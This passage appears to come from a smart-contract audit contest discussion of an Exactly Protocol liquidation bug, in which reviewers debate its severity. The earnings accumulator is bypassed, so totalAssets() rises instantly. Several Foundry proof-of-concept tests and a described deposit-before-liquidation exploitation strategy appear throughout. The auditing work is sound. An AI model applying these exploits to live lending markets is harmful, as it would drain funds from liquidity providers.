Example Assume health factor of 1 Real collateral 1000 (with earnings accumulator due to expired maturity) debt 900 actual collateral used to calculate the health factor in `Auditor::checkLiquidation()` 899, as the debt from the expired maturity is in the earnings accumulator and is not yet accounted for. Health factor is < 1, user is liquidated besides having a positive health factor.

0x73696d616f

All in all, liquidations will be always off, either leading to a liquidator that is liquidated but has a health factor above 1, bad debt that is accumulated (unless a liquidator bot spends 2x the gas, taking a loss, and decides to create a special liquidation smart contract to liquidate twice in the same transaction), or the liquidator not seizing enough collateral assets.

The likelihood of any of these events happening is extremely high (99%) as users always have assets in the market they are seized.

santichez

Hey @0x73696d616f , I realized that adding `floatingAssets += accrueAccumulatedEarnings();` to the beginning of the liquidate function doesn't solve the issue but actually makes it worse since the liquidation now starts reverting due to `InsufficientProtocolLiquidity`. This is because `lastAccumulatorAccrual` is updated at the beginning, so after the liquidation's repayment, the penalties are added to the accumulator but are not accounted to be distributed, and then these are not available to be withdrawn as liquidity. On top of this, in your test, ALICE ends up with more collateral because it's the only user depositing in the floating pool, then earns 100% of the accumulator's distribution, which means that repaid penalties are going back to the same user. Under normal circumstances, a user wouldn't control that much of the pool/shares. However, I do agree with you that the collateral calculation is not accounting for this case. So collateral calculation before and after this specific liquidation ends with the result you stated. I would acknowledge this but doesn't require a fix IMO.

santipu03

Firstly, the scenario where a user is liquidated with a health factor above 1 is highly improbable because it requires a long time without accruing accumulated earnings (that are updated with every deposit and withdrawal) so that the total assets are really off, causing a noticeable difference in the user's health factor.

Secondly, the scenario where a liquidated user is left with a dust amount of collateral is also highly improbable because it requires the loan to be liquidated with some bad debt. Because the protocol will have its own liquidation bot, it's assumed that liquidations are going to happen on time, preventing bad debt. The protocol admins are in charge of setting the correct adjust factors in each market so that even if there's a sudden fall in prices, the protocol doesn't accrue bad debt.

Because the scenarios described by Watson are improbable and require external conditions and specific states, I believe the appropriate severity for this issue is medium.

0x73696d616f

Ok, I am going to make a quick summary of this because at this point @santipu03 is mixing the likelihood of the issue being triggered with the likelihood of each of the scenarios happening (which I do not agree with), let's break it down.

Firstly, the likelihood of this issue is extremely high. The only condition is that at least 1 block has passed (2 seconds on Optimism), which is highly likely.

1. There is always going to be an instantaneous increase of the `totalAssets()`. In one of the scenarios, the liquidatee even benefits from the liquidation, as shown in the POC, from 802 to 1556. Say some time has passed before the liquidation. `lendersAsset` and `penaltyRate` are converted to the earnings accumulator, BEFORE updating the accrued earnings timestamp. Thus, this increase due to the 2 mentioned variables will instantly update the total assets, opposed to going through the accumulator period, breaking another core invariant of the protocol.

> 2. The previewed collateral is always incorrect as it does not account for the earnings accumulator due to lenders assets or penalty rate. This will lead to the impossibility of clearing bad debt unless 2 liquidations are performed in the same block. Another direct impact is that the liquidator will not seize enough assets, as the collateral is increased after it is previewed.

Now, the mentioned scenarios are examples of damage caused by this issue, the impact is always here.

> Firstly, the scenario where a user is liquidated with a health factor above 1 is highly improbable because it requires a long time without accruing accumulated earnings (that are updated with every deposit and withdrawal) so that the total assets are really off, causing a noticeable difference in the user's health factor.

This is not true, 1 block is enough to create the required discrepancy.

> Secondly, the scenario where a liquidated user is left with a dust amount of collateral is also highly improbable because it requires the loan to be liquidated with some bad debt. Because the protocol will have its own liquidation bot, it's assumed that liquidations are going to happen on time, preventing bad debt. The protocol admins are in charge of setting the correct adjust factors in each market so that even if there's a sudden fall in prices, the protocol doesn't accrue bad debt.

This scenario always happens when there is bad debt to be accumulated from a liquidatee. This is a core property of the protocol that is broken. The argument that it is extremely unlikely for a loan to have bad debt makes no sense, this is a big risk in lending protocols. Using this argument, all issues in lending protocols that happen when a loan has bad debt would be at most medium, which is totally unacceptable.

> Because the scenarios described by Watson are improbable and require external conditions and specific states, I believe the appropriate severity for this issue is medium.

They are not improbable as shown before, liquidations are always off. And the impact is guaranteed, only requires 1 block passing. Again, issue #120 is a medium because it does require borrowing maturities, this is not the case here. Furthermore, the instantaneous increase of `totalAssets()` will always happen.

The docs are clear

> Definite loss of funds without (extensive) limitations of external conditions.

This is true as only 1 block has to pass.

> Inflicts serious non-material losses (doesn't include contract simply not

> working).

This is true as liquidations will harm the liquidator, the liquidatee and/or the protocol by instaneously increasing `totalAssets()` and incorrectly previewing the collateral of the liquidator.

0x73696d616f

@santichez, your first statement may be true but that's another separate issue #70.

> On top of this, in your test, ALICE ends up with more collateral because it's the only user depositing in the floating pool, then earns 100% of the accumulator's distribution, which means that repaid penalties are going back to the same user. Under normal circumstances, a user wouldn't control that much of the pool/shares.

Alice would still have enough shares to cause this issue. In fact, any amount of shares trigger this issue.

> However, I do agree with you that the collateral calculation is not accounting for this case. So collateral calculation before and after this specific liquidation ends with the result you stated. I would acknowledge this but doesn't require a fix IMO.

There is an instantaneous increase of `totalAssets()` which benefits the liquidatee and the previewed collateral is incorrect, which affects the whole liquidation flow AND instantly increases the balance of every LP, it must be fixed.

Tweaked a bit the POC to turn the fix on and off (simulated the fix by calling market.setEarningsAccumulatorSmoothFactor(), which updates the earnings accumulator). It can be seen that only with the fix is the liquidatee with huge debt correctly and fully liquidated. I also added a deposit from `BOB` so the market has enough liquidity (as a fix to #70). The liquidatee can not be liquidated again as a mitigation because the health factor is above 1 in the end.

As can be seen the liquidation is completely off and the liquidatee takes a big win while the protocol and lps take a huge loss.

```
function
↪   test_POC_ProfitableLiquidationForLiquidatee_DueToEarningsAccumulator_Diff()
↪   external {
  bool FIX_ISSUE = false;

  uint256 maturity = FixedLib.INTERVAL * 2;
  uint256 assets = 10_000 ether;

  // BOB adds liquidity for liquidation
  vm.prank(BOB);
  market.deposit(assets, BOB);
  // ALICE deposits and borrows
  ERC20 asset = market.asset();
  deal(address(asset), ALICE, assets);
  vm.startPrank(ALICE);
  market.deposit(assets, ALICE);
  market.borrowAtMaturity(maturity, assets*78*78/100/100, type(uint256).max,
↪   ALICE, ALICE);
  vm.stopPrank();

  // Maturity is over and some time has passed, accruing extra debt fees
  skip(maturity + FixedLib.INTERVAL * 90 / 100);

  // ALICE has a health factor below 1 and should be liquidated and end up with
↪   0 assets
  (uint256 collateral, uint256 debt) = market.accountSnapshot(address(ALICE));
  assertEq(collateral, 10046671780821917806594); // 10046e18
  assertEq(debt, 9290724716705852929432); // 9290e18

  // Simulate the fix, the call below updates the earnings accumulator
  if (FIX_ISSUE) market.setEarningsAccumulatorSmoothFactor(1e18);

  // Liquidator liquidates
  address liquidator = makeAddr("liquidator");
  deal(address(asset), liquidator, assets);
  vm.startPrank(liquidator);
  asset.approve(address(market), type(uint256).max);
  market.liquidate(ALICE, type(uint256).max, market);
  vm.stopPrank();

  (collateral, debt) = market.accountSnapshot(address(ALICE));

  if (FIX_ISSUE) { // Everything is liquidated with the fix
    assertEq(collateral, 0);
    assertEq(debt, 0);
  } else { // Without the fix, the liquidatee instantly receives assets,
↪   stealing from other users
    assertEq(collateral, 774637490125015156069); // 774e18
    assertEq(debt, 157386734140473105255); // 157e18
  }
}
```

0x73696d616f

This issue was originally marked as a medium instead of high because anyone can liquidate a position twice, thus solving this issue.

Highlighting the fact that the issue was downgraded to medium due to a possible mitigation that is only applicable to 1 of the 3 described scenarios (which is not even a complete mitigation, requiring knowledge of the issue from the liquidator to fix it, which is liquidating twice in a row in the same block, so it can not even be considered) and only partially mitigates the impact. Check either POCs above to see how one of the impacts can not be mitigated by this.

0x73696d616f

@cvetanovv the issue and the last 3 comments are enough to understand why this is a high severity issue. I am available for any further clarification if required.

etherSky111

In your previous `PoC`s, there haven't been any updates from `now` to `maturity + FixedLib.INTERVAL * 90 / 100` in the `pool`. This is really long `period`. Whenever there are changes, such as `deposits` or `borrowing` etc, the `pool` updates its `accumulated earnings`.

```
function beforeWithdraw(uint256 assets, uint256) internal override whenNotPaused
 ↪  {
  updateFloatingAssetsAverage();
  depositToTreasury(updateFloatingDebt());
  uint256 earnings = accrueAccumulatedEarnings();
  uint256 newFloatingAssets = floatingAssets + earnings - assets;
  // check if the underlying liquidity that the account wants to withdraw is
   ↪  borrowed
  if (floatingBackupBorrowed + floatingDebt > newFloatingAssets) revert
   ↪  InsufficientProtocolLiquidity();
  floatingAssets = newFloatingAssets;
}

function afterDeposit(uint256 assets, uint256) internal override whenNotPaused
 ↪  whenNotFrozen {
  updateFloatingAssetsAverage();
  uint256 treasuryFee = updateFloatingDebt();
  uint256 earnings = accrueAccumulatedEarnings();
  floatingAssets += earnings + assets;
  depositToTreasury(treasuryFee);
  emitMarketUpdate();
}
```

If there haven't been any updates for a long time, it suggests that the `pool` is almost inactive and has only few `depositors` including your `liquidatee`. Is this a realistic scenario in the real market? The likelihood of this happening is very `low`.

Also if the gap between the last update time and now is small, then the impact will also be minimal.

As a result, this issue is more low severity.

I want to spend more time finding issues in other contests. However, this issue seems very clear to me, and Watson insists it's of high severity. So, I checked it again and shared my thoughts.

Stop trying to take up the judge's time with endless comments and let's respect the lead judges' decision, as I have never seen a wrong judgment in Sherlock.

cvetanovv

This issue is more Medium than High.

There are several conditions that reduce the severity:

- The position can be liquidated twice.
- For the vulnerability to be valid, no one must interact with accrue earning functions. The likelihood of this happening is very low.
- Bots will be used mainly for the liquidation, which will be able to perform the liquidation twice in the same block. This will decrease the severity of the problem from High to Medium/Low the most because the protocol will use bots to perform the liquidation.

This issue entirely matches the Medium definition:

> Causes a loss of funds but requires certain external conditions or specific states.

Planning to reject the escalation and leave the issue as is.

0x73696d616f

@cvetanovv the ONLY necessary condition is having passed at least 1 block, nothing more. This is not 'certain external conditions or specific states.'. Pick a random protocol on some block explorer and you'll see that the last transaction was a few minutes ago.

Thus, the likelihood is extremely high.

The liquidator always steals a portion of the assets, and the exact amount depends on the earnings accumulator smooth factor and time passed.

The scenario that you are referring to that is not as likely and can be mitigated is when bad debt is not cleared due to leftover collateral. This is another impact of the issue.

0x73696d616f

@cvetanovv tweaked the POC once again and only 3 minutes pass now. It can be seen that the liquidator is still profiting from this. It can not be liquidated again as the health factor is above 1.

> Also if the gap between the last update time and now is small, then the impact will also be minimal.

This depends entirely on the smooth factor, which is a setter. The following POC shows that 3 minutes are enough to cause a big change.

```
function
↪  test_POC_ProfitableLiquidationForLiquidatee_DueToEarningsAccumulator_Diff()
↪  external {
  market.setEarningsAccumulatorSmoothFactor(1e14);
  bool FIX_ISSUE = false;

  uint256 maturity = FixedLib.INTERVAL * 2;
  uint256 assets = 10_000 ether;

  // BOB adds liquidity for liquidation
  vm.prank(BOB);
  market.deposit(assets, BOB);

  // ALICE deposits and borrows
  ERC20 asset = market.asset();
  deal(address(asset), ALICE, assets);
  vm.startPrank(ALICE);
  market.deposit(assets, ALICE);
  market.borrowAtMaturity(maturity, assets*78*78/100/100, type(uint256).max,
↪  ALICE, ALICE);
  vm.stopPrank();

  // Maturity is over and some time has passed, accruing extra debt fees
  skip(maturity + FixedLib.INTERVAL * 90 / 100);

  // ALICE net balance before liquidation
  (uint256 collateral, uint256 debt) = market.accountSnapshot(address(ALICE));
  assertEq(collateral, 10046671780821917806594); // 10046e18
  assertEq(debt, 9290724716705852929432); // 9290e18

  // Simulate market interaction
  market.setEarningsAccumulatorSmoothFactor(1e14);

  // Only 3 minute passes
  skip(3 minutes);

  if (FIX_ISSUE) market.setEarningsAccumulatorSmoothFactor(1e14);

  // Liquidator liquidates
  address liquidator = makeAddr("liquidator");
  deal(address(asset), liquidator, assets);
  vm.startPrank(liquidator);
  asset.approve(address(market), type(uint256).max);
  market.liquidate(ALICE, type(uint256).max, market);
  vm.stopPrank();

  (collateral, debt) = market.accountSnapshot(address(ALICE));

  if (FIX_ISSUE) { // Everything is liquidated with the fix
    assertEq(collateral, 0);
    assertEq(debt, 0);
  } else { // Without the fix, the liquidator instantly receives assets,
↪   stealing from other users
    assertEq(collateral, 313472632221182141406); // 313e18
    assertEq(debt, 157644123455541063036); // 157e18
  }
}
```

0x73696d616f

This issue classification is likelihood: high impact: medium to high (if the smooth factor is big and not much time has passed, medium, if the smooth factor is small and/or some time has passed, high). Any small time will exceed small, finite amounts and the bigger the time, the bigger the losses.

etherSky111

Hey, the likelihood is still low. In your above PoC, there are only 2 depositors and the `liquidatee` deposit 50% of total liquidity.

And in normal pool, the asset amount which `liquidatee` receives from earnings accumulator will be minimal.

etherSky111

And please, the `high severity` issue means that this is so critical that the sponsor team should fix this before deployment.

You didn't even convince sponsor team, lead judge, and other watsons.

0x73696d616f

> Hey, the likelihood is still low.

Stop throwing this around, it is not low. I can change the POC to pass 15 seconds and the issue still exists.

> And in normal pool, the asset amount will be minimal. For the liquidator, he may get less amount, but it still breaks the invariant of the earnings accumulator.

@cvetanovv for context, they have an earnings accumulator to delay rewards, which works basically like this

```
elapsed = block.timestamp - last update
earningsAccumulator = assets * elapsed / (elapsed +
↪  earningsAccumulatorSmoothFactor * constant)
```

So rewards (`totalAssets()`) are expected to slowly grow according to this accumulator. The problem is that the liquidation increments the variable `assets` in the formula, before updating `last update` and the previous accumulator, which will instantly increase `totalAssets()`, instead of going through the delay.

0x73696d616f

> And please, the high severity issue means that this is so critical that the sponsor team should fix this before deployment. You didn't even convince sponsor team, lead judge, and other watsons.

I have no problem with showing the sponsor how serious this is. @santichez could you take a look at this test?.

etherSky111

what about this?

```
In your above PoC, there are only 2 depositors and the liquidatee deposit 50% of
↪  total liquidity.
```

0x73696d616f

> what about this? In your above PoC, there are only 2 depositors and the liquidatee deposit 50% of total liquidity.

If the liquidatee has less % of the total liquidity, obviously he will get less assets after the liquidation. The key issue remains, which is the fact that `totalAssets()` will be instantly updated, without going through the accumulator. Again, this is a core invariant of the protocol that is broken.

0x73696d616f

From the docs:

> So, to avoid opening possible MEV profits for bots or external actors to sandwich these operations by depositing to the pool with a significant amount of assets to acquire a more considerable proportion and thus earning profits for then instantly withdrawing, we've come up with an earnings accumulator. This accumulator will hold earnings that come from extraordinary sources and will gradually and smoothly distribute these earnings to the pool using a distribution factor. Then incentivizing

users to keep lending their liquidity while disincentivizing atomic bots that might look to profit from Exactly unfairly.

This is broken. *will gradually and smoothly distribute these earnings to the pool using a distribution factor*. False.

0x73696d616f

@cvetanovv ran the POC once again to show how the price before and after the liquidation changes significantly, from `1e18` to `1.03e18`, a 3% price increase. This property of the protocol is broken, see the docs above.

```
function
↪  test_POC_ProfitableLiquidationForLiquidatee_DueToEarningsAccumulator_Diff()
↪  external {
  market.setEarningsAccumulatorSmoothFactor(1e14);
  bool FIX_ISSUE = false;

  uint256 maturity = FixedLib.INTERVAL * 2;
  uint256 assets = 10_000 ether;

  // BOB adds liquidity for liquidation
  vm.prank(BOB);
  market.deposit(assets, BOB);

  // ALICE deposits and borrows
  ERC20 asset = market.asset();
  deal(address(asset), ALICE, assets);
  vm.startPrank(ALICE);
  market.deposit(assets, ALICE);
  market.borrowAtMaturity(maturity, assets*78*78/100/100, type(uint256).max,
↪  ALICE, ALICE);
  vm.stopPrank();

  // Maturity is over and some time has passed, accruing extra debt fees
  skip(maturity + FixedLib.INTERVAL * 90 / 100);

  // ALICE net balance before liquidation
  (uint256 collateral, uint256 debt) = market.accountSnapshot(address(ALICE));
  assertEq(collateral, 10046671780821917806594); // 10046e18
  assertEq(debt, 9290724716705852929432); // 9290e18

  // Simulate market interaction
  market.setEarningsAccumulatorSmoothFactor(1e14);

  // Only 3 minute passes
  skip(3 minutes);
  uint256 previousPrice = 1004667178082191780; // 1e18

  assertEq(market.previewRedeem(1e18), previousPrice);

  if (FIX_ISSUE) market.setEarningsAccumulatorSmoothFactor(1e14);

  // Liquidator liquidates
  address liquidator = makeAddr("liquidator");
  deal(address(asset), liquidator, assets);
  vm.startPrank(liquidator);
  asset.approve(address(market), type(uint256).max);
  market.liquidate(ALICE, type(uint256).max, market);
  vm.stopPrank();

  if (FIX_ISSUE)
    assertEq(previousPrice, market.previewRedeem(1e18));
  else
    assertEq(market.previewRedeem(1e18), 1036014441304309994); //1.03e18.
}
```

0x73696d616f

Also

> Stop trying to take up the judge's time with endless comments and let's respect the lead judges' decision, as I have never seen a wrong judgment in Sherlock.

I am contributing to this issue with facts and POCs, helping keeping the judgment fair on Sherlock. This is what @cvetanovv intends, that the judgement is correct, not that it is rushed.

etherSky111

I slightly changed your PoC. In your PoC, the liquidation happens after `maturity + FixedLib.INTERVAL * 90 / 100`.

```
skip(maturity + FixedLib.INTERVAL * 90 / 100);
```

I changed this as below:

```
skip(maturity + FixedLib.INTERVAL * 10 / 100);  // here
```

I mean the liquidation can happen earlier and anyone can easily liquidate this user once it becomes liquidatable.

```
function
↪  test_POC_ProfitableLiquidationForLiquidatee_DueToEarningsAccumulator_Diff()
↪  external {
  market.setEarningsAccumulatorSmoothFactor(1e14);
  bool FIX_ISSUE = true;

  uint256 maturity = FixedLib.INTERVAL * 2;
  uint256 assets = 10_000 ether;

  // BOB adds liquidity for liquidation
  vm.prank(BOB);
  market.deposit(assets, BOB);

  // ALICE deposits and borrows
  ERC20 asset = market.asset();
  deal(address(asset), ALICE, assets);
  vm.startPrank(ALICE);
  market.deposit(assets, ALICE);
  market.borrowAtMaturity(maturity, assets*78*78/100/100, type(uint256).max,
   ↪  ALICE, ALICE);
  vm.stopPrank();

  // Maturity is over and some time has passed, accruing extra debt fees
  skip(maturity + FixedLib.INTERVAL * 10 / 100);  // here

  // ALICE net balance before liquidation
  (uint256 collateral, uint256 debt) = market.accountSnapshot(address(ALICE));
  // assertEq(collateral, 10046671780821917806594); // 10046e18
  // assertEq(debt, 9290724716705852929432); // 9290e18
  console2.log('collateral before   : ', collateral);
  console2.log('debt before         : ', debt);

  // Simulate market interaction
  market.setEarningsAccumulatorSmoothFactor(1e14);
  // Only 3 minute passes
  skip(3 minutes);

  if (FIX_ISSUE) market.setEarningsAccumulatorSmoothFactor(1e14);

  // Liquidator liquidates
  address liquidator = makeAddr("liquidator");
  deal(address(asset), liquidator, assets);
  vm.startPrank(liquidator);
  asset.approve(address(market), type(uint256).max);
  market.liquidate(ALICE, type(uint256).max, market);
  vm.stopPrank();

  (collateral, debt) = market.accountSnapshot(address(ALICE));

  if (FIX_ISSUE) { // Everything is liquidated with the fix
    // assertEq(collateral, 0);
    // assertEq(debt, 0);
    console2.log('collater after      : ', collateral);
    console2.log('debt after          : ', debt);
  } else { // Without the fix, the liquidator instantly receives assets,
   ↪  stealing from other users
    // assertEq(collateral, 313472632221182141406); // 313e18
    // assertEq(debt, 157644123455541063036); // 157e18
    console2.log('collater after      : ', collateral);
    console2.log('debt after          : ', debt);
  }
}
```

The result is as below: after fixing:

```
collateral before   :  1004667178082191780 6594
debt before         :  652327480109517087 0548
collater after      :  657231312126981477 7661  // here
debt after          :  336502431809014516 5663
```

now

```
collateral before   :  10046671780821917806594
debt before         :  6523274801095170870548
collater after      :  6592123038195909881811  // here
debt after          :  3365024318090145165663
```

Even though this liquidatee has 50% of total liquidiaty (almost impossble), there is no big change. You forgot that the account will be liquidated immediately once it becomes liquidatable.

And in this case, the increase of earnings accumulator will be small.

0x73696d616f

ok @etherSky111, so you agree with me, the impact goes from medium to high. At least you seem to understand now that the likelihood is high.

etherSky111

Please stop trying to show wonderful writing skills.

Please try to be fair.

0x73696d616f

Appreciate the compliment. I am trying to be fair. The likelihood is high and the impact is medium to high. You know this is true sir.

etherSky111

In order to the impact becomes medium, the likelihood is low. The liquidator deposit almost liquidity and the liquidation should not happen for enough period.

0x73696d616f

If you run the price in your modified POC, you can see that it goes from 1004667178082191780 to 1006648169774801291, which is a 0.2% increase. This exceeds small and finite amounts. So the impact is still medium, while the likelihood is high (you made the scenario, not me).

etherSky111

Don't forget that your liquidatee deposited 50% of total liquidity.

Is likelihood still high?

etherSky111

I showed my thoughts enough and let the head of judge to decide.

Anyway, agree that this is good finding.

santipu03

@0x73696d616f From the PoC presented, setting the earnings accumulator smooth factor to 1e14 is solving the issue?

0x73696d616f

> Don't forget that your liquidatee deposited 50% of total liquidity.

If the total liquidity of the liquidatee is smaller, the price impact will also be smaller. But there are more liquidations, and all of them impact the price, when they should not.

@etherSky111 thank you for your comments, was a nice discussion sir.

0x73696d616f

> From the PoC presented, setting the earnings accumulator smooth factor to 1e14 is solving the issue?

yes because it triggers the earnings accumulator accrual. This was just a workaround to show that the issue exists.

0x73696d616f

> If you run the price in your modified POC, you can see that it goes from 1004667178082191780 to 1006648169774801291, which is a 0.2% increase. This exceeds small and finite amounts. So the impact is still medium, while the likelihood is high (you made the scenario, not me).

Btw 0.2% has been accepted as exceeding small and finite amounts in the past.

santipu03

@0x73696d616f What happens if we set the smooth factor at 1e18 at the start of the test? Because that is the deployment values as per the Market tests.

0x73696d616f

@santipu03 the price impact will be smaller.

santipu03

What I get from the discussion above is that the impact of this issue depends on mainly two factors:

1. The value of the earnings accumulator smooth factor. The higher the factor, the lower the impact.
2. The time passed since the last deposit/withdrawal on that market. The longer the time, the higher the impact.

Regarding the first point, the trusted admins are in charge of setting the correct smooth factor so it's assumed that it will be set to a reasonable value, e.g. 1e18. Take into account that the current value of the smooth factor in the PoC presented is 1e14 instead of 1e18, and that is **10,000** lower.

Secondly, the PoC assumes that a long time has to happen without any deposits/withdrawals in order for the issue to have any noticeable impact. I've looked at the live markets of Exactly and we can see that even the lowest-used markets (OP and WBTC) still have daily transactions involving deposits and withdrawals.

As we can see, the conditions that must be met for this issue to have any noticeable impact are highly unlikely. For this reason, I still believe this issue warrants a medium severity.

0x73696d616f

@santipu03 I agree with the first 2 statements.

But this one

> Secondly, the PoC assumes that a long time has to happen without any deposits/withdrawals in order for the issue to have any noticeable impact.

I am not sure what long time you are talking about? Some POCs show impact with only 3 minutes of time passed. Daily transactions (few hours of time between accrual update) are enough to cause noticeable impact.

santipu03

I've just run again this POC but changing the value of the smooth factor from `1e14` to `1e18` and changing the time that has passed without transactions from 3 minutes to 1 day. These changes represent more a realistic on-chain scenario.

After these changes are applied, the price change is only `0.6%` instead of `3%`. Even in this scenario where the liquidatee has 50% of the total market liquidity, which is a highly improbable scenario, the resulting price difference is highly constrained.

For these reasons, I believe this issue doesn't warrant high severity.

0x73696d616f

@santipu03 thank you for running the numbers again, I agree with them.

> Even in this scenario where the liquidatee has 50% of the total market liquidity, which is a highly improbable scenario, the resulting price difference is highly constrained.

Smaller positions may be liquidated at a time, the impact may be smaller for each one, but overall it will add up. I am not disagreeing with your statement, just emphasizing this will add up either way.

I'd argue 0.6% is a high number as it affects total tvl, but leave this up to the judge.

santipu03

Sorry, I've mixed the numbers. Here's a recap of the changes made to the presented PoC:

- Change the smooth factor to a realistic value: from `1e14` to `1e18`.
- Change the time without transactions to a realistic value: `12 hours`.
- Change the liquidation time from `maturity + INTERVAL * 90 /  100` to `maturity + 2 days`, meaning the liquidation is not going to be delayed too much.

```
function
↪  test_POC_ProfitableLiquidationForLiquidatee_DueToEarningsAccumulator_Diff()
↪  external {
  market.setEarningsAccumulatorSmoothFactor(1e18);
  bool FIX_ISSUE = false;

  uint256 maturity = FixedLib.INTERVAL * 2;
  uint256 assets = 10_000 ether;
  // BOB adds liquidity for liquidation
  vm.prank(BOB);
  market.deposit(assets, BOB);

  // ALICE deposits and borrows
  ERC20 asset = market.asset();
  deal(address(asset), ALICE, assets);
  vm.startPrank(ALICE);
  market.deposit(assets, ALICE);
  market.borrowAtMaturity(maturity, (assets * 78 * 78) / 100 / 100,
↪   type(uint256).max, ALICE, ALICE);
  vm.stopPrank();

  skip(maturity + 2 days); // Maturity is over and some time has passed,
↪   accruing extra debt fees

  market.setEarningsAccumulatorSmoothFactor(1e18); // Simulate market interaction

  skip(12 hours); // 12 hours passed

  uint256 previousPrice = 1004667178082191780; // ~1.004e18

  assertEq(market.previewRedeem(1e18), previousPrice);

  if (FIX_ISSUE) market.setEarningsAccumulatorSmoothFactor(1e14);

  // Liquidator liquidates
  address liquidator = makeAddr("liquidator");
  deal(address(asset), liquidator, assets);
  vm.startPrank(liquidator);
  asset.approve(address(market), type(uint256).max);
  market.liquidate(ALICE, type(uint256).max, market);
  vm.stopPrank();

  if (FIX_ISSUE) assertEq(previousPrice, market.previewRedeem(1e18));
  else assertEq(market.previewRedeem(1e18), 1004719564791669940);
}
```

Here are the final results:

```
Price without the fix: 1004719564791669940
Price with the fix:    1004667178082191780
```

As we can see, the price increase is just `0.005%` (`0.000052386709478160e18`), which is way less than originally claimed.

0x73696d616f

I have built another POC proving that the price impact is 0.3%.

Adjust factor of the market is 0.9 12 hours pass since the last interaction. The change was the borrowed amount being smaller, so the debt has more time to accrue. The likelihood of this happening is not small but not huge either, as someone has bad debt accumulating for some time. This may be tweaked to accrue for a smaller time, increasing likelihood but decreasing the impact.

This is a realistic scenario with a decent likelihood of happening and causes substancial damage to the protocol, enough for HIGH severity

> Definite loss of funds without (extensive) limitations of external conditions.

```
function
↪  test_POC_ProfitableLiquidationForLiquidatee_DueToEarningsAccumulator_Diff()
↪  external {
  auditor.setAdjustFactor(market, 0.9e18);
  market.setEarningsAccumulatorSmoothFactor(1e18);
  bool FIX_ISSUE = false;

  uint256 maturity = FixedLib.INTERVAL * 2;
  uint256 assets = 10_000 ether;

  // BOB adds liquidity for liquidation
  vm.prank(BOB);
  market.deposit(assets, BOB);

  // ALICE deposits and borrows
  ERC20 asset = market.asset();
  deal(address(asset), ALICE, assets);
  vm.startPrank(ALICE);
  market.deposit(assets, ALICE);
  market.borrowAtMaturity(maturity, (assets * 50 * 50) / 100 / 100,
↪  type(uint256).max, ALICE, ALICE);
  vm.stopPrank();

  // Maturity is over and some time has passed, accruing extra debt fees
  // until the account is liquidatable
  skip(maturity + 16 weeks);

  (uint256 coll, uint256 debt) = auditor.accountLiquidity(ALICE,
↪  Market(address(0)), 0);
  assertEq(coll*100/debt, 98); // Health factor is 0.98

  market.setEarningsAccumulatorSmoothFactor(1e18); // Simulate market interaction

  skip(12 hours); // 12 hours passed
  uint256 previousPrice = 1e18; // ~1.004e18

  assertEq(market.previewRedeem(1e18), previousPrice);

  if (FIX_ISSUE) market.setEarningsAccumulatorSmoothFactor(1e18);

  // Liquidator liquidates
  address liquidator = makeAddr("liquidator");
  deal(address(asset), liquidator, assets);
  vm.startPrank(liquidator);
  asset.approve(address(market), type(uint256).max);
  market.liquidate(ALICE, type(uint256).max, market);
  vm.stopPrank();

  if (FIX_ISSUE) assertEq(previousPrice, market.previewRedeem(1e18));
  else assertEq(market.previewRedeem(1e18), 1003198119342946548);
}
```

0x73696d616f

We can build different POCs and scenarios, proving that the likelihood is indeed very high. Some scenarios lead to huge price impacts, some smaller impacts, but there is a big range of realistic and likely scenarios that lead to big enough price impacts, which should classify this as a HIGH.

0x73696d616f

There is another impact here. As the liquidatee will have outstanding collateral from the liquidation (which was not accounted for), it will be liquidated again (if the health factor is below 1). This means that instead of having the liquidated portion of the assets totally going to the earnings accumulator (as intended), a % of it will go to the liquidator. Thus, LPS will suffer further.

santipu03

@santichez I'd like to have your opinion again on this issue. Why do you think it doesn't require a fix?

santichez

@santipu03 After the very elaborate and detailed explanation, we came to the agreement that the fix is indeed necessary We appreciate it, @0x73696d616f .

0x73696d616f

@santichez glad I could help.

0x73696d616f

@santipu03 this can also be abused by depositing 12 hours prior to the liquidation and then withdrawing after, getting free arbitrage.

santipu03

Nice, it's true that there are some specific scenarios where the impact can become worrying.

However, as several POCs from both parts have demonstrated, for this bug to have some real impact, there must be quite some specific states that must be met. For example, some of those requirements are the following:

1. A whale borrower with an insane amount of penalties on fixed loans must be liquidated.
2. Some amount of time when no deposits/withdrawals must occur.

There are probably some more scenarios where this issue may have some impact, but those scenarios will also have some specific requirements and conditions that must be given first. As a side note, in the end, the admins can always increase the smooth factor to a higher value than usual to dampen any possible impact this issue may provoke.

At this point, I believe @cvetanovv probably may have all the information necessary to make a fair judgment about this issue.

0x73696d616f

> A whale borrower with an insane amount of penalties on fixed loans must be liquidated.

A few smaller borrowers will also lead to the same accumulated price impact. This is not a precondition as the borrower may be split in any number of borrowers and the impact is the same.

> As a side note, in the end, the admins can always increase the smooth factor to a higher value than usual to dampen any possible impact this issue may provoke.

They can also decrease it and the impact becomes even higher. Thus, this is also not a precondition as it can go either way.

The only real pre condition is time passing, in which we proved that only 12 hours (absolutely common scenario, check the protocol on optimism) leads to significant impact. At the current time, there was a transaction 33 hours ago. As long as a few hours go by, we can find problematic scenarios. This is by no means *(extensive) limitations*.

Just want to highlight the fact that his can be exploited by depositing a few hours prior to the liquidation. Fixed loans may have up to 12 weeks of duration, attackers may deposit just a few hours before the liquidatee is expected to reach the health factor of 1 and steal a big portion of the incorrectly instantly increased total assets. In the same POC we've been using, if the price impact is 0.3%, bob instantly earns 0.3%. As he has `10_000 DAI`, this is 300 USD for free.

> At this point, I believe @cvetanovv probably may have all the information necessary to make a fair judgment about this issue.

Agreed.

etherSky111

I agree that this issue deserves `medium` severity, but it doesn't qualify as `high` severity. For a noticeable impact to occur, many factors must align. In your `PoC`, the price change of `0.3%` requires the `liquidatee` to deposit `50%` of the `total liquidity`. Additionally, the `liquidatee` did nothing for over `16 weeks`, despite having enough `liquidity` and being aware of the significant `penalty` that applies to large `debt` over this `period`. Is there such a `trader` in the real market?

I slightly modified your `PoC`: the `liquidatee` deposited `25%` of the `total liquidity`, resulting in a `0.1%` price change.

```
function
↪  test_POC_ProfitableLiquidationForLiquidatee_DueToEarningsAccumulator_Diff()
↪  external {
  auditor.setAdjustFactor(market, 0.9e18);
  market.setEarningsAccumulatorSmoothFactor(1e18);
  bool FIX_ISSUE = false;

  uint256 maturity = FixedLib.INTERVAL * 2;
  uint256 assets = 10_000 ether;

  // BOB adds liquidity for liquidation
  vm.prank(BOB);
  market.deposit(assets, BOB);

  // ALICE deposits and borrows
  uint256 assetsAlice = 3_000 ether;
  ERC20 asset = market.asset();
  deal(address(asset), ALICE, assetsAlice);
  vm.startPrank(ALICE);
  market.deposit(assetsAlice, ALICE);
